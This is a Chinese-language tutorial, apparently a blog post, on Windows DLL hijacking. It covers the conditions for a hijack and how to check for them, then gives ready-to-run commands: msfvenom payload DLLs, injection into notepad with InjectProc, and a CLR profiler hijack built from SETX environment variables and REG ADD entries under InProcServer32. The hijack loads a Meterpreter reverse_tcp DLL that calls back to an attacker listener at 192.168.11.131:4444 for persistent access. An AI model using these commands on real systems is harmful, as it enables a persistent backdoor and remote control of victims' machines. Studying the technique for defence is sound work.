1.劫持产生的条件

  • 不在’HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs’注册表中
  • 其dll是EXE程序首先加载的DLL,而不是依赖其他DLL加载的。
  • DLL确实被加载进内存中

2.手动判断是否可以劫持

利用进程查看软件 ProcessMonitor、ProcessExplorer、火绒剑等查看进程所加载的DLL文件,查看该dll是否存在KnownDlls注册表中。注册表中如果没有该DLL,那么就存在被劫持的风险。

3.自动化判断

4.利用方式

(1)注入

1.msf生成dll,弹出计算机。

1
msfvenom -p windows/exec CMD = calc.exe EXITFUNC=thread -f dll -o sxs.dll

2.使用dll注入工具,进行文件劫持

1
2
https://github.com/secrary/InjectProc/releases
InjectProc.exe dll_inj joker.dll notepad.exe

3,.运行notepad得到计算机弹框

(2)利用CLR劫持dll建立持续性后门
  • CLR全称Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境。

1.配置环境变量

  • CLR需配置环境变量中用户变量才能完全劫持.Net,增加 COR_ENABLE_PROFILING 值为 1,COR_PROFILER 值为 CLSID,CLSID可以为任意值,但不能与原有CLSID冲突

    1
    2
    3
    SETX COR_ENABLE_PROFILING 1
    SETX COR_PROFILER {AABBCCDD-1234-1234-1234-AABBCCDDEEFF} #{AABBCCDD-1234-1234-1234-AABBCCDDEEFF} 为 CLSID

2.生成 dll payload

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.11.131 LPORT=4444 -f dll > msf.dll

3.在注册表中添加相应键值

在 HKEY_CURRENT_USER\Software\Classes\CLSID\ 下新建项,名称为环境变量中配置的 CLSID 一致,在{AABBCCDD-1234-1234-1234-AABBCCDDEEFF} 下新建项,名称为 InProcServer32 ,修改默认值为上传的dll位置,并新建字符串值 ThreadingModel = Apartment,CMD命令如下:

1
2
3
REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{AABBCCDD-1234-1234-1234-AABBCCDDEEFF}\InProcServer32" /VE /T REG_SZ /D "C:\msf.dll" /F
REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{AABBCCDD-1234-1234-1234-AABBCCDDEEFF}\InProcServer32" /V ThreadingModel /T REG_SZ /D Apartment /F

当目标机重启登录后或调用 .net 时,msf成功上线

文章参考:

https://blog.csdn.net/SheXinK/article/details/103217286

https://www.cnblogs.com/bmjoker/p/11031238.html